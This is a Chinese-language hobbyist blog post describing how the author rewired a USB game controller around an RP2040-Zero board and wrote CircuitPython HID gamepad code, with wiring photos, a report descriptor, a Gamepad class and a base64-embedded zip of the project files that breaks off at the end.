<p>雖然在下將 USB遊戲控制器 的 USB線路 除焊,但由於 RP2040-Zero 使用 USB Type-C<br/>
其引腳實在太細,以在下目前的能力及工具,無法在不影響其他引腳的情況下焊接到 USB Type-C 的焊墊上</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrNOdjKJ2_PyRph35lRFs0f86e0_YxptIrNT9Fb7PVFEdevRRbOy1YGApPmZYMAaKPcaf1a34I1HZu4ZDxlP-h79X-CbBlJq2_F4ueU89l5SKcFeOmTLlEbQr6YovSIZ7Gzc5QcIifEl67Zd3oWMNGkouXxv-FJHWrDVVPujNY0gHUgINrAMc1PBzdNH0/w0/gamepad-mod-rp2040-015.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrNOdjKJ2_PyRph35lRFs0f86e0_YxptIrNT9Fb7PVFEdevRRbOy1YGApPmZYMAaKPcaf1a34I1HZu4ZDxlP-h79X-CbBlJq2_F4ueU89l5SKcFeOmTLlEbQr6YovSIZ7Gzc5QcIifEl67Zd3oWMNGkouXxv-FJHWrDVVPujNY0gHUgINrAMc1PBzdNH0/w600/gamepad-mod-rp2040-015.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkjPHp_mQ6EATJ8fK4z4f9dcRLu1sCopTbT00SAglU_8eDr2yraAceC6FRe8m8pjJ-Ut7qmplJ8IhYzZJJzJTg_H_7SXM96v0-DeHDsO-DA4YN4Cb4miW8dUPmOMDW5hUoVw-FOqM2fHHdPPiKV47bu98Rjtwb7WjbqlpC00Rxb_ryFKLIZyyLwkV25jQ/w0/gamepad-mod-rp2040-016.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkjPHp_mQ6EATJ8fK4z4f9dcRLu1sCopTbT00SAglU_8eDr2yraAceC6FRe8m8pjJ-Ut7qmplJ8IhYzZJJzJTg_H_7SXM96v0-DeHDsO-DA4YN4Cb4miW8dUPmOMDW5hUoVw-FOqM2fHHdPPiKV47bu98Rjtwb7WjbqlpC00Rxb_ryFKLIZyyLwkV25jQ/w600/gamepad-mod-rp2040-016.jpg"/></a></div>
<p>在下嘗試使用 <span class="mra-highlighter">USB Type-C 連接器</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12DocOE20XSj8z9qlFOPXSShKw8ZecaxAGdc2GGIzNZ1DaphKsKhlOvl6g7m1p7kLnorTOCS78Vo5kKVLUI8tiDcF8UCIz8PyRN9Bq8vYEtID0tMy2HWLL67VQWunt5iWXsY0td26fsc1gE6HujBd3Zo9eRqIoDsW9gH9qY-yThYdY5BXT7C3gXvMWRY/w0/gamepad-mod-rp2040-017.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12DocOE20XSj8z9qlFOPXSShKw8ZecaxAGdc2GGIzNZ1DaphKsKhlOvl6g7m1p7kLnorTOCS78Vo5kKVLUI8tiDcF8UCIz8PyRN9Bq8vYEtID0tMy2HWLL67VQWunt5iWXsY0td26fsc1gE6HujBd3Zo9eRqIoDsW9gH9qY-yThYdY5BXT7C3gXvMWRY/w600/gamepad-mod-rp2040-017.jpg"/></a></div>
<p>焊接前先確認引腳的功能,從左至右分別為:</p>
<div>
<ol>
<li>GND (黑)</li>
<li>D+ (綠)</li>
<li>D- (白)</li>
<li>VCC (紅)</li>
</ol>
</div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirRszmVD631Cy1GzzxjUjR7qMYfdI73TowIemZJUFtWZVPknw3ARsoFhbS6Hbn7j1CeMRQiyY1-ELYoVThDn-WHglSqnAiLY3wYKr85WWPqHJtEqXmxMMYy1iuttZh39sPaC9qLQJuExYpogJbzZnYs9VcAkFT-gqjn9hdo5nniQ0LW2yBCD2pde3Q1es/w0/gamepad-mod-rp2040-018.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirRszmVD631Cy1GzzxjUjR7qMYfdI73TowIemZJUFtWZVPknw3ARsoFhbS6Hbn7j1CeMRQiyY1-ELYoVThDn-WHglSqnAiLY3wYKr85WWPqHJtEqXmxMMYy1iuttZh39sPaC9qLQJuExYpogJbzZnYs9VcAkFT-gqjn9hdo5nniQ0LW2yBCD2pde3Q1es/w600/gamepad-mod-rp2040-018.jpg"/></a></div>
<p>將 USB引腳 焊接到 連接器</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBy2pOgNdJ0XwxsIZyYtt8oY7eaGYN3qA7WQ3mf_ybUbKoHyORTtZDsoZhVRSGL3skCAU7S6ALRYHRSUfi1wNC9lNof9bVddjEzqZxsT61QvsDrHEX7g14T1tv5rdMkAv15D5M2bsF2I7dIbVEhAywflJ8QjVW-rsXf8-27yNcd8H-CXwPYw2bO7Kt8g8/w0/gamepad-mod-rp2040-019.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBy2pOgNdJ0XwxsIZyYtt8oY7eaGYN3qA7WQ3mf_ybUbKoHyORTtZDsoZhVRSGL3skCAU7S6ALRYHRSUfi1wNC9lNof9bVddjEzqZxsT61QvsDrHEX7g14T1tv5rdMkAv15D5M2bsF2I7dIbVEhAywflJ8QjVW-rsXf8-27yNcd8H-CXwPYw2bO7Kt8g8/w600/gamepad-mod-rp2040-019.jpg"/></a></div>
<p>便可以用相對簡單及安全的方法連接到 RP2040-Zero</p>
<a name="線路設計"></a><h4 class="mra-h4">線路設計</h4>
<p>解決 USB 連接問題,便開始構思線路</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBkbMR4a5lnzOaRB7eiPWT-r0aaOmvL_qLCQTNhh4JGwTCMUm5C3KeGIHk1HDeDQFutPB8famwWlMEpFsvesANNNCwbTPh1GCFFz3acoNt45HC-xeSzfcukbc3on74jrxOH4RoOubjbKGn49D94T7n4h5nqLEDQAdX0d1VSRp06OoCz-87We6Flgi2nn4/w0/gamepad-mod-rp2040-028.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBkbMR4a5lnzOaRB7eiPWT-r0aaOmvL_qLCQTNhh4JGwTCMUm5C3KeGIHk1HDeDQFutPB8famwWlMEpFsvesANNNCwbTPh1GCFFz3acoNt45HC-xeSzfcukbc3on74jrxOH4RoOubjbKGn49D94T7n4h5nqLEDQAdX0d1VSRp06OoCz-87We6Flgi2nn4/w600/gamepad-mod-rp2040-028.png"/></a></div>
<p>線路原型</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixVzWGEKI1ZlAn9hYrd61BfYbPyovsk3j6T7zb6RfkkfESLWsQxva1AwLjplOE4gXAZ60Oegyr3dZ6c3siM7tkyiX9SR3BVcJcY8wXcOuxWJemtuk8G0bFIJFLFPUHYe4KL_AaIWYh8xCV6LsxaLoXOv0ZNKuxzejYfCL1JRzjf6jUOHDlkWDOCX7sEHo/w0/gamepad-mod-rp2040-022.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixVzWGEKI1ZlAn9hYrd61BfYbPyovsk3j6T7zb6RfkkfESLWsQxva1AwLjplOE4gXAZ60Oegyr3dZ6c3siM7tkyiX9SR3BVcJcY8wXcOuxWJemtuk8G0bFIJFLFPUHYe4KL_AaIWYh8xCV6LsxaLoXOv0ZNKuxzejYfCL1JRzjf6jUOHDlkWDOCX7sEHo/w600/gamepad-mod-rp2040-022.jpg"/></a></div>
<p>實際焊接所有線路後,為了免線路被擠壓而損壞<br/>
在下將線路繞到外殼邊緣,再用原本的 USB線 固定,防止移位</p>
<p>(在下為了增加空間,因此將原本的震動摩打除焊<br/>
但因為重量平衡問題,因此左右摩打都除焊,但對 遊戲控制器 並沒有影響)</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUYiyQ4igShvTr-C_ipO5dmmxv0RzSBgVkp1ZIr9U4wB76Y3MtkR-qXfLf8XzTtNmhqZ8fen3VGtIbz_zLh2Z4QMZT49dZDXspCfmzRFHrTdfBKcS8WOoDI1khQ0Ls85FCzpwvsv9W5OlgvKvo787ybwpt1IMKffXNotlTJpbc8Ffly7flx4Fo4lUeUTk/w0/gamepad-mod-rp2040-023.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUYiyQ4igShvTr-C_ipO5dmmxv0RzSBgVkp1ZIr9U4wB76Y3MtkR-qXfLf8XzTtNmhqZ8fen3VGtIbz_zLh2Z4QMZT49dZDXspCfmzRFHrTdfBKcS8WOoDI1khQ0Ls85FCzpwvsv9W5OlgvKvo787ybwpt1IMKffXNotlTJpbc8Ffly7flx4Fo4lUeUTk/w600/gamepad-mod-rp2040-023.jpg"/></a></div>
<p>將線路從 RP2040-Zero 的背後穿過通孔</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkLp3i3vGVXieYB-n32sr7kbb-CozZe4eSPqmtEesRSgB1K9EA9XQOAdsMBHeCzmumUQl8x9dW3pZbqWF1tmhe-zhm4u03ve6bB4WfswgieLdMh4nGdjlTxk8e1K1VYjbq2fO1ebYKw8V-XU72nCV1PZrGxGd3ekCVmTLnweBsch7m7rje2tjkYT_teyo/w0/gamepad-mod-rp2040-024.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkLp3i3vGVXieYB-n32sr7kbb-CozZe4eSPqmtEesRSgB1K9EA9XQOAdsMBHeCzmumUQl8x9dW3pZbqWF1tmhe-zhm4u03ve6bB4WfswgieLdMh4nGdjlTxk8e1K1VYjbq2fO1ebYKw8V-XU72nCV1PZrGxGd3ekCVmTLnweBsch7m7rje2tjkYT_teyo/w600/gamepad-mod-rp2040-024.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggQWlqBLc-Hk8BHjluqMXbuYaNLPyODR5WOmkWsmPfNE3PzrqsjkGGOiXpCHbYSFp1_CT8ns9N0meUcQMTd7wHt_lVH7MRFrjFcMNLUlrxg-CYx2IEvxhOd2_vHdRZxwT_aw2GwGqQOLVmnMzng6sjNsJbuleqrNrhSoVy2Cc1PU5CY12qMcjB-o1-Gn0/w0/gamepad-mod-rp2040-025.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggQWlqBLc-Hk8BHjluqMXbuYaNLPyODR5WOmkWsmPfNE3PzrqsjkGGOiXpCHbYSFp1_CT8ns9N0meUcQMTd7wHt_lVH7MRFrjFcMNLUlrxg-CYx2IEvxhOd2_vHdRZxwT_aw2GwGqQOLVmnMzng6sjNsJbuleqrNrhSoVy2Cc1PU5CY12qMcjB-o1-Gn0/w600/gamepad-mod-rp2040-025.jpg"/></a></div>
<p>將所有線路焊接到 RP2040-Zero ,再將多餘的線段剪除</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXoN-Kqz7ggnh9WAf2p5AJeoL1kRLAFuusZXbcwx8InYV7cxGcV2iTP4auQLdf2JOeu4Nd0D7h9wGebAyJOwyD-nSNpal5K-HY1-P2XkY9fHgM7BbWSB9b0U2XxgV9FPPooreEU89g_QOHdvLVFyVcAWajA_f424tbe6kjX9NIKkZWBhZbdrG2agD-1bA/w0/gamepad-mod-rp2040-026.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXoN-Kqz7ggnh9WAf2p5AJeoL1kRLAFuusZXbcwx8InYV7cxGcV2iTP4auQLdf2JOeu4Nd0D7h9wGebAyJOwyD-nSNpal5K-HY1-P2XkY9fHgM7BbWSB9b0U2XxgV9FPPooreEU89g_QOHdvLVFyVcAWajA_f424tbe6kjX9NIKkZWBhZbdrG2agD-1bA/w600/gamepad-mod-rp2040-026.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqxyEK0nKHAsO5QqMh56jBg1JJjNmRU3p7M2ODiIYfDL8mKq9tXNqpn1MmYPXy3QJeI4PcajZAq9PxblE7sjfgyRdU24s7WWPiT-dwn4nfT6KutprlC0JcHYF4e1ycuvVwiCBEF3RIZrjNRqnKJVzjx5gYHUCmC7sfZezq0C8AWnzbLkwXPMTerbENFOw/w0/gamepad-mod-rp2040-027.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqxyEK0nKHAsO5QqMh56jBg1JJjNmRU3p7M2ODiIYfDL8mKq9tXNqpn1MmYPXy3QJeI4PcajZAq9PxblE7sjfgyRdU24s7WWPiT-dwn4nfT6KutprlC0JcHYF4e1ycuvVwiCBEF3RIZrjNRqnKJVzjx5gYHUCmC7sfZezq0C8AWnzbLkwXPMTerbENFOw/w600/gamepad-mod-rp2040-027.jpg"/></a></div>
<p>在下發現按下按鈕沒有反應,估計是因為 USB 的 電源 及 接地 只是連接到晶片,並沒有貫通整個電路板<br/>
因此將 RP2040-Zero 的 3V3 及 GND 分別焊接到電路板的 電源 及 接地<br/>
結果如在下所料,所有按鈕都能夠接地;4個類比轉軸亦能夠顯示 ADC數值</p>
<a name="編寫CircuitPython"></a><h4 class="mra-h4">編寫 CircuitPython</h4>
<p>硬件連接已經完成,基本的程式已經測試,並正確無誤,便開始製作自訂的功能</p>
<a name="編寫CircuitPython載入HID函式庫"></a><h5 class="mra-h5">載入 HID 函式庫</h5>
<p>雖然 RP2040 能夠模擬 HID 功能,但 CircuitPython 預設函式庫並沒有相關功能<br/>
因此需要到 <a href="https://circuitpython.org/libraries">CircuitPython 的官方網頁</a> 下載 函式庫組合包</p>
<p>根據需要下載對應版本的函式庫組合包<br/>
(在下使用 <a href="https://github.com/adafruit/Adafruit_CircuitPython_Bundle/releases/download/20240222/adafruit-circuitpython-bundle-8.x-mpy-20240222.zip">8.x的編譯版本)</a></p>
<p>由於 RP2040 的 記憶體不可能載入所有 CircuitPython 函式庫,因此只將需要使用的函式載載入到 <span class="mra-highlighter">CURCUITPY</span> 的 <span class="mra-highlighter">lib目錄</span> 中即可<br/>
例如在下這個專案只需要使用 HID 功能,只需要將函式庫組合包的 adafruit_hid 載入到 CURCUITPY 的 lib目錄<br/></p>
<pre class="brush:bash">CIRCUITPY/
CIRCUITPY/lib/
CIRCUITPY/lib/adafruit_hid/
CIRCUITPY/lib/adafruit_hid/__init__.mpy
CIRCUITPY/lib/adafruit_hid/consumer_control.mpy
CIRCUITPY/lib/adafruit_hid/consumer_control_code.mpy
CIRCUITPY/lib/adafruit_hid/keyboard.mpy
CIRCUITPY/lib/adafruit_hid/keyboard_layout_base.mpy
CIRCUITPY/lib/adafruit_hid/keyboard_layout_us.mpy
CIRCUITPY/lib/adafruit_hid/keycode.mpy
CIRCUITPY/lib/adafruit_hid/mouse.mpy</pre>
<p>函式庫結構應該與樹狀圖相同</p>
<a name="編寫CircuitPython遊戲控制器函式庫"></a><h5 class="mra-h5">遊戲控制器 函式庫</h5>
<p>CircuitPython 雖然有提供 HID 函式庫,能令 微控制器 模擬成 鍵盤、滑鼠 等輸入裝置,但沒有提供 遊戲控制器 函式庫<br/>
因此需要自行製作 遊戲控制器 的函式庫</p>
<a name="編寫CircuitPython遊戲控制器函式庫報告描述器"></a><h6 class="mra-h6">報告描述器</h6>
<pre class="brush:py">import usb_hid
GAMEPAD_REPORT_DESCRIPTOR = bytes(
(0x05, 0x01, 0x09, 0x05, 0xA1, 0x01, 0x85, 0x04, 0x05, 0x09, 0x19, 0x01, 0x29, 0x10, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x10, 0x81, 0x02, 0x05, 0x01, 0x15, 0x81, 0x25, 0x7F, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0xC0,)
)
gamepad = usb_hid.Device(
report_descriptor = GAMEPAD_REPORT_DESCRIPTOR,
usage_page = 0x01,
usage = 0x05,
report_ids = (4,),
in_report_lengths = (6,),
out_report_lengths = (0,),
)
usb_hid.enable(
(
usb_hid.Device.KEYBOARD,
usb_hid.Device.MOUSE,
usb_hid.Device.CONSUMER_CONTROL,
gamepad
)
)</pre>
<p>網上已經有開發者製作 <span class="mra-highlighter">報告描述器</span> ,將內容儲存並將存放在內容儲存並將檔案內容儲存並將檔案 <span class="mra-highlighter">CIRCUITPY/boot.py</span></p>
<a name="編寫CircuitPython遊戲控制器函式庫遊戲控制器類別"></a><h6 class="mra-h6">遊戲控制器類別</h6>
<pre class="brush:py">import struct, time
from adafruit_hid import find_device
class Gamepad:
def __init__(self, devices):
self._gamepad_device = find_device(devices, usage_page = 0x01, usage = 0x05)
self._report = bytearray(6)
self._last_report = bytearray(6)
self._buttons_state = 0
self._joy_x = 0
self._joy_y = 0
self._joy_z = 0
self._joy_r_z = 0
try:
self.reset_all()
except OSError:
time.sleep(1)
self.reset_all()
def press_buttons(self, *buttons):
for button in buttons:
self._buttons_state |= 1 << self._validate_button_number(button) - 1
self._send()
def release_buttons(self, *buttons):
for button in buttons:
self._buttons_state &= ~(1 << self._validate_button_number(button) - 1)
self._send()
def release_all_buttons(self):
self._buttons_state = 0
self._send()
def click_buttons(self, *buttons):
self.press_buttons(*buttons)
self.release_buttons(*buttons)
def move_joysticks(self, x = None, y = None, z = None, r_z = None):
if x is not None:
self._joy_x = self._validate_joystick_value(x)
if y is not None:
self._joy_y = self._validate_joystick_value(y)
if z is not None:
self._joy_z = self._validate_joystick_value(z)
if r_z is not None:
self._joy_r_z = self._validate_joystick_value(r_z)
self._send()
def reset_all(self):
self._buttons_state = 0
self._joy_x = 0
self._joy_y = 0
self._joy_z = 0
self._joy_r_z = 0
self._send(True)
def _send(self, always = False):
struct.pack_into(
"<Hbbbb",
self._report,
0,
self._buttons_state,
self._joy_x,
self._joy_y,
self._joy_z,
self._joy_r_z,
)
if always or self._last_report != self._report:
self._gamepad_device.send_report(self._report)
self._last_report[:] = self._report
@staticmethod
def _validate_button_number(button):
if not 1 <= button <= 16:
raise ValueError("Button number must in range 1 to 16")
return button
@staticmethod
def _validate_joystick_value(value):
if not -127 <= value <= 127:
raise ValueError("Joystick value must be in range -127 to 127")
return value</pre>
<p>除了 報告描述器 ,開發者亦提供 遊戲控制器 類別,令開發更簡單<br/>
將內容儲存並存放到 <span class="mra-highlighter">CIRCUITPY/lib/adafruit_hid/hid_gamepad.py</span><br/>
從 原始碼 可以了解到 遊戲控制器 類別 能支援 16個按鈕 及 4個類比轉軸,而 類比轉軸 範圍為 -127 至 127</p>
<a name="編寫CircuitPython遊戲控制器函式庫編寫程式"></a><h6 class="mra-h6">編寫程式</h6>
<pre class="brush:py">import digitalio, analogio, board, usb_hid
from adafruit_hid.hid_gamepad import Gamepad
def remap(value):
return int((value / 65535) * 254) - 127
buttons = {
"TR": {"PIN": board.GP0, "KEY": 4},
"CI": {"PIN": board.GP1, "KEY": 2},
"CR": {"PIN": board.GP2, "KEY": 1},
"SQ": {"PIN": board.GP3, "KEY": 3},
"L1": {"PIN": board.GP4, "KEY": 5},
"R1": {"PIN": board.GP5, "KEY": 6},
"L2": {"PIN": board.GP6, "KEY": 7},
"R2": {"PIN": board.GP7, "KEY": 8},
"SE": {"PIN": board.GP8, "KEY": 9},
"ST": {"PIN": board.GP9, "KEY": 10},
"L3": {"PIN": board.GP10, "KEY": 11},
"R3": {"PIN": board.GP11, "KEY": 12},
"UP": {"PIN": board.GP12, "KEY": 13},
"LT": {"PIN": board.GP13, "KEY": 15},
"DN": {"PIN": board.GP14, "KEY": 14},
"RT": {"PIN": board.GP15, "KEY": 16},
}
axes = {
"LX": board.GP26,
"LY": board.GP27,
"RX": board.GP28,
"RY": board.GP29,
}
for key in buttons:
buttons[key]["GPIO"] = digitalio.DigitalInOut(buttons[key]["PIN"])
buttons[key]["GPIO"].direction = digitalio.Direction.INPUT
buttons[key]["GPIO"].pull = digitalio.Pull.UP
for key in axes:
axes[key] = analogio.AnalogIn(axes[key])
gamepad = Gamepad(usb_hid.devices)
while True:
for key in buttons:
if not buttons[key]["GPIO"].value:
gamepad.press_buttons(buttons[key]["KEY"])
else:
gamepad.release_buttons(buttons[key]["KEY"])
gamepad.move_joysticks(
remap(axes["LX"].value),
remap(axes["LY"].value),
remap(axes["RX"].value),
remap(axes["RY"].value)
)</pre>
<p>這個程式只是顯示 16個按鈕 及 4個類比轉軸 直接操作效果<br/>
這個檔案需要儲存到 <span class="mra-highlighter">CIRCUITPY/code.py</span></p>
<p>在下將 CircuitPython 的 HID 函式庫,包含 遊戲控制器的報告描述器 、 Gamepad類別、 boot.py 、 code.py 製作成 zip檔案<br/>
方便使用及分享,有興趣可以自行下載及使用</p>
<a href="data:text/plain;base64,
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
